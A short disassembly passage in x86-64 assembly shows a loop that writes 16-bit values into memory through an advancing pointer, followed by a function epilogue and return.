mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14001022d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret